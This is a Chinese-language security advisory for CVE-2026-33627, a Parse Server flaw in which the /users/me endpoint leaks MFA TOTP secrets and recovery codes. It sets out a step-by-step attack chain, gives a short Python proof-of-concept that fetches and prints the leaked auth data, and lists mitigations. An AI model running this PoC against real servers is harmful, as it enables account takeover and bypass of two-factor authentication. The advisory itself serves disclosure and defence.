IPBUF安全漏洞报告
English
CVE-2026-33627 CVSS 6.5 中危

CVE-2026-33627 Parse Server敏感信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33627
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

信息泄露Parse Server身份认证绕过MFA绕过CVE-2026-33627

漏洞概述

Parse Server在8.6.61和9.6.0-alpha.55之前的版本中存在信息泄露漏洞。由于GET /users/me接口内部使用了主密钥级别的认证上下文,导致绕过了认证适配器的数据净化,向已认证用户返回了未经处理的敏感数据,包括MFA TOTP密钥和恢复代码。攻击者获取会话令牌后,可利用此漏洞提取凭证从而绕过双因素认证。

技术细节

该漏洞源于Parse Server在处理用户信息查询时的上下文混淆。当普通认证用户请求/me端点时,后端在查询数据库时会话查询内部使用了Master Key权限。由于Master Key上下文不会触发普通认证适配器的敏感字段过滤逻辑,导致原本应被隐藏的_authData字段(包含TOTP密钥)直接序列化到HTTP响应中。攻击者只需掌握受害者的Session Token,发送请求即可获得完整的用户认证对象,进而离线计算TOTP验证码,完全接管账户。

攻击链分析

STEP 1
1
攻击者通过中间人攻击、XSS或其他方式获取受害者的用户会话令牌。
STEP 2
2
攻击者使用获取的Session Token构造HTTP请求,访问Parse Server的GET /users/me接口。
STEP 3
3
服务器端处理请求时,内部使用Master Key上下文查询数据库,绕过了敏感字段过滤。
STEP 4
4
服务器返回包含MFA TOTP密钥和恢复代码的完整用户对象。
STEP 5
5
攻击者解析响应,提取TOTP密钥,利用算法生成有效的双因素认证码,从而绕过MFA登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-parse-server.com/parse/users/me" session_token = "r:USER_SESSION_TOKEN_HERE" # Attacker obtained token application_id = "APP_ID" headers = { "X-Parse-Application-Id": application_id, "X-Parse-Session-Token": session_token } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved user data:") print(data) # Check for sensitive auth data (e.g., MFA secrets) if "_authData" in data: print("[!] Sensitive Auth Data Leaked:") print(data["_authData"]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Parse Server < 8.6.61
Parse Server < 9.6.0-alpha.55

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响实例中的MFA功能或强制用户重新登录以使旧的Session Token失效,同时监控异常的登录行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表